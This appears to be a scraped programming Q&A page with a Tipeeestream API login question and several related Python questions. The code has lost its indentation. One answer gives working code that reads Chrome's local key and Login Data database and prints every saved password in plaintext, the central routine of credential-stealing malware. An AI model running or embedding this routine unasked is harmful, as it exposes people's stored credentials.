Why is python with Tipeeestream api not working? - python

im am trying to login in my Tipeeestream Account using the Tipeeestream Api key. But its not working(i got message:forbidden). Here is my code:
import sys
import requests
if len(sys.argv) != 5:
print("Usage: python " + sys.argv[0] + " <apiKey> <provider> <access_token> <refresh_token>")
exit()
apikey = sys.argv[1]
provider = sys.argv[2]
access_token = sys.argv[3]
refresh_token = sys.argv[4]
print("Getting username")
try:
r = requests.get('https://api.tipeeestream.com/v1.0/me?apiKey=' + apikey)
if "username" in r.json():
username = r.json()["username"]
print("Username " + username)
data = {
"access_token": access_token,
"origin": "managementSecurity",
"provider": provider,
"refresh_token": refresh_token
}
try:
r = requests.post('https://www.tipeeestream.com/v1.0/users/' + username + '/providers?apiKey=' + apikey, json=data)
print(r)
if "code" in r.json():
if r.json()["code"] == 200:
print("Log in to " + username)
else:
print("Error by loging in " + username)
else:
print("Error by loging in " + username)
except:
print("Error by loging in " + username)
except:
print("Error by getting username")
I have no idea how to fix it. I hope you can help me...

Related

Rest Api call throwing connection error while connected to vpn

I'm trying to make a call to the xmatter api to pull information using http basicauth
its working fine with my vpn turned off, but when I'm connected to the company vpn, I'm getting the below error:
ConnectionError: ('Connection aborted.', ConnectionResetError(10054, 'An existing connection was forcibly closed by the remote host', None, 10054, None))
I've also tried running in a loop and running after sometime, but no luck
import requests
from requests.auth import HTTPBasicAuth
import json
base_URL = "https://acmeco.xmatters.com/api/xm/1"
groupId = "954ada78-7b89-4356-b02c-df85ff30dfd2"
limit = "2"
membersPerShift = "5"
endpoint_URL = (
"/on-call?groups="
+ groupId
+ "&offset=0&limit="
+ limit
+ "&membersPerShift="
+ membersPerShift
+ "&embed=shift,members.owner"
)
url = base_URL + endpoint_URL
print("Sending request to url: " + url)
auth = HTTPBasicAuth("username", "password")
response = requests.get(url, auth=auth)
responseCode = response.status_code
if responseCode == 200:
rjson = response.json()
for d in rjson.get("data"):
print(
"Found shift with name: "
+ d["shift"]["name"]
+ " and id: "
+ d["shift"]["id"]
)
for md in d["members"]["data"]:
print(
"\tFound member with targetName: "
+ md["member"]["targetName"]
+ ", id: "
+ md["member"]["id"]
+ ", and recipientType: "
+ md["member"]["recipientType"]
)
else:
rjson = response.json()
print(
"The request did not succeed. Response code is: "
+ str(responseCode)
+ "\n"
+ json.dumps(rjson, indent=4, sort_keys=False)
)

Chrome 80 Password File Decryption in Python

I've written this code:
import sqlite3
import win32crypt
c = sqlite3.connect("Login Data")
cursor = c.cursor()
cursor.execute("SELECT origin_url, username_value, password_value FROM logins")
data = cursor.fetchall()
credentials = {}
for url, user, pwd in data:
password = win32crypt.CryptUnprotectData(pwd, None, None, None, 0)[1]
credential[url] = (user, password)
for item in credentials:
login = credentials[item]
print(login[0] + " " + login[1])
and it states that:
password = win32crypt.CryptUnprotectData(pwd, None, None, None, 0)[1]
pywintypes.error: (87, 'CryptProtectData', 'The parameter is incorrect.')
As I've searched it, Chrome v80 has changed encryption type. What should I do?
import os
import json
import base64
import sqlite3
import win32crypt
from Crypto.Cipher import AES
import shutil
def get_master_key():
with open(os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\Local State', "r", encoding='utf-8') as f:
local_state = f.read()
local_state = json.loads(local_state)
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
master_key = master_key[5:] # removing DPAPI
master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
return master_key
def decrypt_payload(cipher, payload):
return cipher.decrypt(payload)
def generate_cipher(aes_key, iv):
return AES.new(aes_key, AES.MODE_GCM, iv)
def decrypt_password(buff, master_key):
try:
iv = buff[3:15]
payload = buff[15:]
cipher = generate_cipher(master_key, iv)
decrypted_pass = decrypt_payload(cipher, payload)
decrypted_pass = decrypted_pass[:-16].decode() # remove suffix bytes
return decrypted_pass
except Exception as e:
# print("Probably saved password from Chrome version older than v80\n")
# print(str(e))
return "Chrome < 80"
if __name__ == '__main__':
master_key = get_master_key()
login_db = os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\default\Login Data'
shutil.copy2(login_db, "Loginvault.db") #making a temp copy since Login Data DB is locked while Chrome is running
conn = sqlite3.connect("Loginvault.db")
cursor = conn.cursor()
try:
cursor.execute("SELECT action_url, username_value, password_value FROM logins")
for r in cursor.fetchall():
url = r[0]
username = r[1]
encrypted_password = r[2]
decrypted_password = decrypt_password(encrypted_password, master_key)
print("URL: " + url + "\nUser Name: " + username + "\nPassword: " + decrypted_password + "\n" + "*" * 50 + "\n")
except Exception as e:
pass
cursor.close()
conn.close()
try:
os.remove("Loginvault.db")
except Exception as e:
pass
I'm getting the error module 'Crypto.Cipher.AES' has no attribute 'MODE_GCM'. Am I missing any library? – Gaurav S Jul 9 at 7:23
No you have everything. The crypto\Cipher\__init__.py file imports from Crypto.Cipher._mode_ecb import _create_ecb_cipher. However the directory's real name is crypto and not Crypto. You need to rename the directory to Crypto and then it works perfectly.

Lambda Gives an error { "errorMessage": "Process exited before completing request" }

Trying to execute this lambda function and getting error "{
"errorMessage": "RequestId: 6db7d67e-78e9-43e5-a325-09206e4514ac Process exited before completing request"
}
"
I am looking the script to notify the AWS IAM Users when their password and access keys expire.
from __future__ import print_function
import boto3
from botocore.exceptions import ClientError
import os
import json
import csv
from time import sleep
import datetime
import dateutil.parser
import sys
# These should be passed in via Lambda Environment Variables
try:
BLACKHOLE_GROUPNAME = os.environ['BLACKHOLE_GROUPNAME']
ACTION_TOPIC_ARN = os.environ['ACTION_TOPIC_ARN']
GRACE_PERIOD = int(os.environ['GRACE_PERIOD'])
DISABLE_USERS = os.environ['DISABLE_USERS']
SEND_EMAIL = os.environ['SEND_EMAIL']
FROM_ADDRESS = os.environ['FROM_ADDRESS']
EXPLANATION_FOOTER = os.environ['EXPLANATION_FOOTER']
EXPLANATION_HEADER = os.environ['EXPLANATION_HEADER']
except KeyError as e:
print("Key Error: " + e.message)
sys.exit(1)
# Define a Global String to be the report output sent to ACTION_TOPIC_ARN
ACTION_SUMMARY = ""
REPORT_SUMMARY = ""
print('Loading function')
if DISABLE_USERS == "true":
expired_message = "\n\tYour Password is {} days post expiration. Your permissions have been revoked. "
key_expired_message = "\n\tYour AccessKey ID {} is {} days post expiration. It has been deactivated. "
else:
expired_message = "\n\tYour Password is {} days post expiration. You must change your password or risk losing access. "
key_expired_message = "\n\tYour AccessKey ID {} is {} days post expiration. You must rotate this key or it will be deactivated. "
key_warn_message = "\n\tYour AccessKey ID {} is {} days from expiration. You must rotate this key or it will be deactivated. "
password_warn_message = "\n\tYour Password will expire in {} days"
email_subject = "Credential Expiration Notice From AWS Account: {}"
def lambda_handler(event, context):
print("Received event: " + json.dumps(event, sort_keys=True))
iam_client = boto3.client('iam')
try:
if event['source'] == "aws.iam" :
process_IAMEvent(event, context, iam_client)
else:
process_UsersCron(iam_client)
except KeyError as e:
# Probably called as a test event with out a source. This is what we want to do here.
process_UsersCron(iam_client)
return
def process_UsersCron(iam_client):
global ACTION_SUMMARY # This is what we send to the admins
global REPORT_SUMMARY
max_age = get_max_password_age(iam_client)
account_name = iam_client.list_account_aliases()['AccountAliases'][0]
credential_report = get_credential_report(iam_client)
# Iterate over the credential report, use the report to determine password expiration
# Then query for access keys, and use the key creation data to determine key expiration
for row in credential_report:
if row['password_enabled'] != "true": continue # Skip IAM Users without passwords, they are service accounts
message = "" # This is what we send to the user
if is_user_expired(row['user']) == 0:
# Process their password
password_expires = days_till_expire(row['password_last_changed'], max_age)
if password_expires <= 0:
REPORT_SUMMARY = REPORT_SUMMARY + "\n{}'s Password expired {} days ago".format(row['user'], password_expires * -1)
message = message + expired_message.format(password_expires * -1)
add_user_to_blackhole(row['user'], iam_client)
elif password_expires < GRACE_PERIOD :
message = message + password_warn_message.format(password_expires)
REPORT_SUMMARY = REPORT_SUMMARY + "\n{}'s Password Will expire in {} days".format(row['user'], password_expires)
try:
# Process their Access Keys
response = iam_client.list_access_keys( UserName=row['user'] )
for key in response['AccessKeyMetadata'] :
if key['Status'] == "Inactive" : continue
key_expires = days_till_expire(key['CreateDate'], max_age)
if key_expires <= 0:
message = message + key_expired_message.format(key['AccessKeyId'], key_expires * -1)
disable_users_key(key['AccessKeyId'], row['user'], iam_client)
REPORT_SUMMARY = REPORT_SUMMARY + "\n {}'s Key {} expired {} days ago ".format(row['user'], key['AccessKeyId'], key_expires * -1 )
elif key_expires < GRACE_PERIOD:
message = message + key_warn_message.format(key['AccessKeyId'], key_expires)
REPORT_SUMMARY = REPORT_SUMMARY + "\n {}'s Key {} will expire {} days from now ".format(row['user'], key['AccessKeyId'], key_expires)
except ClientError as e:
continue
# Email user if necessary
if message != "":
email_user(row['user'], message, account_name)
# All Done. Send a summary to the ACTION_TOPIC_ARN, and print one out for the Lambda Logs
print("Action Summary:" + ACTION_SUMMARY)
if ACTION_SUMMARY != "": send_summary()
if REPORT_SUMMARY != "": email_user(FROM_ADDRESS, REPORT_SUMMARY, account_name )
return
def is_user_expired(username):
client = boto3.client('iam')
try:
response = client.list_groups_for_user(UserName=username)
except ClientError as e:
return 1
for group in response['Groups'] :
if group['GroupName'] == BLACKHOLE_GROUPNAME:
return 1
return 0
def email_user(email, message, account_name):
global ACTION_SUMMARY # This is what we send to the admins
if SEND_EMAIL != "true": return # Abort if we're not supposed to send email
if message == "": return # Don't send an empty message
client = boto3.client('ses')
body = EXPLANATION_HEADER + "\n" + message + "\n\n" + EXPLANATION_FOOTER
try:
response = client.send_email(
Source=FROM_ADDRESS,
Destination={ 'ToAddresses': [ email ] },
Message={
'Subject': { 'Data': email_subject.format(account_name) },
'Body': { 'Text': { 'Data': body } }
}
)
ACTION_SUMMARY = ACTION_SUMMARY + "\nEmail Sent to {}".format(email)
return
except ClientError as e:
print("Failed to send message to {}: {}".format(email, e.message))
ACTION_SUMMARY = ACTION_SUMMARY + "\nERROR: Message to {} was rejected: {}".format(email, e.message)
def days_till_expire(last_changed, max_age):
# Ok - So last_changed can either be a string to parse or already a datetime object.
# Handle these accordingly
if type(last_changed) is str:
last_changed_date=dateutil.parser.parse(last_changed).date()
elif type(last_changed) is datetime.datetime:
last_changed_date=last_changed.date()
else:
# print("last_changed", last_changed)
# print(type(last_changed))
return -99999
expires = (last_changed_date + datetime.timedelta(max_age)) - datetime.date.today()
return(expires.days)
# Request the credential report, download and parse the CSV.
def get_credential_report(iam_client):
resp1 = iam_client.generate_credential_report()
if resp1['State'] == 'COMPLETE' :
try:
response = iam_client.get_credential_report()
credential_report_csv = response['Content']
# print(credential_report_csv)
reader = csv.DictReader(credential_report_csv.splitlines())
# print(reader.fieldnames)
credential_report = []
for row in reader:
credential_report.append(row)
return(credential_report)
except ClientError as e:
print("Unknown error getting Report: " + e.message)
else:
sleep(2)
return get_credential_report(iam_client)
# Query the account's password policy for the password age. Return that number of days
def get_max_password_age(iam_client):
try:
response = iam_client.get_account_password_policy()
return response['PasswordPolicy']['MaxPasswordAge']
except ClientError as e:
print("Unexpected error in get_max_password_age: %s" + e.message)
# if called by an IAM Event, do stuff. Not yet implemented
def process_IAMEvent(event, context, iam_client):
api_call = event['detail']['eventName']
if api_call == "CreateLoginProfile" :
process_CreateLoginProfile(event,context)
return 0
elif api_call == "EnableMFADevice" :
process_EnableMFADevice(event,context)
return 0
elif api_call == "DeactivateMFADevice" :
process_DeactivateMFADevice(event,context)
return 0
else:
raise Exception("Invalid API Call: " + api_call)
# Add the user to the group that only allows them to reset their password
def add_user_to_blackhole(username, iam_client):
if DISABLE_USERS != "true": return
global ACTION_SUMMARY
ACTION_SUMMARY = ACTION_SUMMARY + "\nAdding {} to Blackhole Group".format(username)
response = iam_client.add_user_to_group(
GroupName=os.environ['BLACKHOLE_GROUPNAME'],
UserName=username
)
if response['ResponseMetadata']['HTTPStatusCode'] != 200:
handle_error("Adding User to Blackhole Group", username, response['ResponseMetadata'])
else:
return 0
# Turn off the specified user's key by setting it to inactive.
def disable_users_key(AccessKeyId, UserName, iam_client):
if DISABLE_USERS != "true": return
global ACTION_SUMMARY
ACTION_SUMMARY = ACTION_SUMMARY + "\nDisabling AccessKeyId {} for user {}".format(AccessKeyId, UserName)
response = iam_client.update_access_key(
UserName=UserName,
AccessKeyId=AccessKeyId,
Status='Inactive'
)
if response['ResponseMetadata']['HTTPStatusCode'] != 200:
handle_error("Adding User to Blackhole Group", username, response['ResponseMetadata'])
else:
return 0
# Not used, but would remove the user from the blackhole group once they did change their password
def remove_user_from_blackhole(username, iam_client):
response = iam_client.remove_user_from_group(
GroupName=os.environ['BLACKHOLE_GROUPNAME'],
UserName=username
)
if response['ResponseMetadata']['HTTPStatusCode'] != 200:
handle_error("Removing User from Blackhole Group", username, response['ResponseMetadata'])
else:
return 0
def handle_error(action, username, ResponseMetadata):
raise Exception("ERROR" + action + " User: " + username + " Details: " + ResponseMetadata)
# Send the Summary of actions taken to the SNS topic
def send_summary():
global ACTION_SUMMARY
client = boto3.client('sns')
message = "The following Actions were taken by the Expire Users Script at {}: ".format( datetime.datetime.now() ) + ACTION_SUMMARY
response = client.publish(
TopicArn=ACTION_TOPIC_ARN,
Message=message,
Subject="Expire Users Report for {}".format(datetime.date.today())
)
Sorry, if its repeated. Couldn't find a solution. If someone has script to notify IAM Users about their password expiry, that would be fine as well.
Thank You.
Have you checked the memory, if you ran out of memory you are also getting that message.

Connection refused - Python 2.7

I am trying to run the python code in the linux machine where the weblogic server is located whose health status needs to be known. I am passing username and password as per below code. Below is part of the python code:
import urllib2
import httplib
import getpass
import json
import os
import sys
import time
import math
def getServerJson(url, username, password):
req = urllib2.Request(url)
passman = urllib2.HTTPPasswordMgrWithDefaultRealm()
passman.add_password(None, url, username, password)
authhandler = urllib2.HTTPBasicAuthHandler(passman)
opener = urllib2.build_opener(authhandler)
try:
response = opener.open(url)
json_string = response.read()
if response.getcode() != 200:
print("")
print("Error connecting to WLS Server!")
print("HTTP Error code = " + str(response.getcode()))
print("URL = "+url)
sys.exit(1)
except urllib2.URLError as e:
print(e.reason)
writeHTMLOutputExcep(str(e.reason))
sys.exit(1)
except urllib2.HTTPError, e:
print(e.reason)
writeHTMLOutputExcep(str(e.reason))
sys.exit(1)
except httplib.HTTPException, e:
print(e.reason)
writeHTMLOutputExcep(str(e.reason))
sys.exit(1)
return json.loads(json_string)
But I am getting below error on giving input:
Please enter the WLS Server Details
Please enter the server and port: IP:PORT
Please enter the weblogic user name: weblogic
Please enter the weblogic user password:
[Errno 111] Connection refused
Please find below the url calling part of the code:
def getServerJson(url, username, password):
req = urllib2.Request(url)
passman = urllib2.HTTPPasswordMgrWithDefaultRealm()
passman.add_password(None, url, username, password)
authhandler = urllib2.HTTPBasicAuthHandler(passman)
opener = urllib2.build_opener(authhandler)
try:
response = opener.open(url)
json_string = response.read()
if response.getcode() != 200:
print("")
print("Error connecting to WLS Server!")
print("HTTP Error code = " + str(response.getcode()))
print("URL = "+url)
sys.exit(1)
except urllib2.URLError as e:
print(e.reason)
writeHTMLOutputExcep(str(e.reason))
sys.exit(1)
except urllib2.HTTPError, e:
print(e.reason)
writeHTMLOutputExcep(str(e.reason))
sys.exit(1)
except httplib.HTTPException, e:
print(e.reason)
writeHTMLOutputExcep(str(e.reason))
sys.exit(1)
return json.loads(json_string)
#Get a list of all of the Admin and Managed Servers in the domain
def getServers(wlsDomain,wlsServerUrl,username,password ):
url = 'http://'+wlsServerUrl+'/management/wls/latest/servers'
serverJson = getServerJson(url, username, password)
for server in serverJson["links"]:
if (server['rel'] != "parent"):
wlsDomain.addServer(WLSServer(server["title"], server["uri"]))
# Get the url of the list of logs, along with some other basic
# server information
def getLogListUrl(server, username, password):
serverJson = getServerJson(server.serverUrl, username, password)
server.setState(serverJson["item"]["state"])
if server.state == "running":
server.setHealth(serverJson["item"]["health"]["state"])
for link in serverJson["links"]:
if link["rel"] == "logs":
logListULR = link["uri"]
return logListULR
#For the given server, get the url for each server log
def getServerLogUrl(server,username,password, logListUrl):
logListJson = getServerJson(logListUrl, username, password)
for link in logListJson["links"]:
if link["rel"] == "items.name":
if not link["title"].startswith("JMSMessageLog") and \
not link["title"].startswith("HTTPAccessLog"):
server.addLog(WLLog(link["title"],link["uri"]))
#Go and find all server logs and read them, and take note of
#the error messages
def searchServerLogs(wlsDomain, username, password):
for server in wlsDomain.serverList:
#get the url to the list of logs for the given server
logListUrl = getLogListUrl(server, username, password)
#we can't get the log of a server that is not running
if server.state != "running":
continue
#get the url for each server log of the given server
getServerLogUrl(server,username,password, logListUrl)
for log in server.logList:
#we are not interested in the HTTPAccessLog
if log.name != "HTTPAccessLog":
if server.state != "running":
continue
startTime = time.time()
print("Reading " + server.name + " : " + log.name)
serverLogJson = getServerJson(log.logUrl, username, password)
for logEntry in serverLogJson["items"]:
if logEntry["severity"] == "Error":
log.addLogEntry(LogEnty(logEntry["severity"],logEntry["timeStamp"],logEntry["message"]))
server.incrementError()
endTime = time.time()
log.setDuration(formatTimeOutput(math.floor(endTime-startTime)))
def run():
print("")
print("")
print("Please enter the WLS Server Details")
print("-------------------------------------------")
print("")
wlsServerUrl = raw_input('Please enter the server and port e.g localhost:7001 ')
username = raw_input("Please enter the weblogic user name: ")
password = getpass.getpass("Please enter the weblogic user password: ")
print("")
wlsDomain = WLSDomain()
getServers(wlsDomain,wlsServerUrl,username,password)
searchServerLogs(wlsDomain,username,password)
outputStatisticsConsole(wlsDomain)
writeHTMLOutput(wlsDomain)

Requesting a dictionary definition python | Discord bot

So I am trying to request a definition from oxford dictionary through their API and when the user type !define (users word) the bot returns the definition. I am having a few issues see the code below.
#client.command()
async def define(word_id):
app_id = '************'
app_key = '***********'
language = 'en'
url = 'https://od-api.oxforddictionaries.com:443/api/v1/entries/' +
language + '/' + word_id.lower()
r = requests.get(url, headers={'app_id': app_id, 'app_key': app_key})
await client.say("The definition is " + ("text \n" + r.text))
The error I'm getting is as follows:
discord.errors.HTTPException: BAD REQUEST (status code: 400) + discord.ext.commands.errors.CommandInvokeError: Command raised an exception: HTTPException: BAD REQUEST (status code: 400)
Here is what they expect me to use:
import requests
import json
# TODO: replace with your own app_id and app_key
app_id = '****'
app_key = '******'
language = 'en'
word_id = 'Ace'
url = 'https://od-api.oxforddictionaries.com:443/api/v1/entries/' +
language + '/' + word_id.lower()
r = requests.get(url, headers = {'app_id': app_id, 'app_key':
app_key})
print("code {}\n".format(r.status_code))
print("text \n" + r.text)
print("json \n" + json.dumps(r.json()))

Categories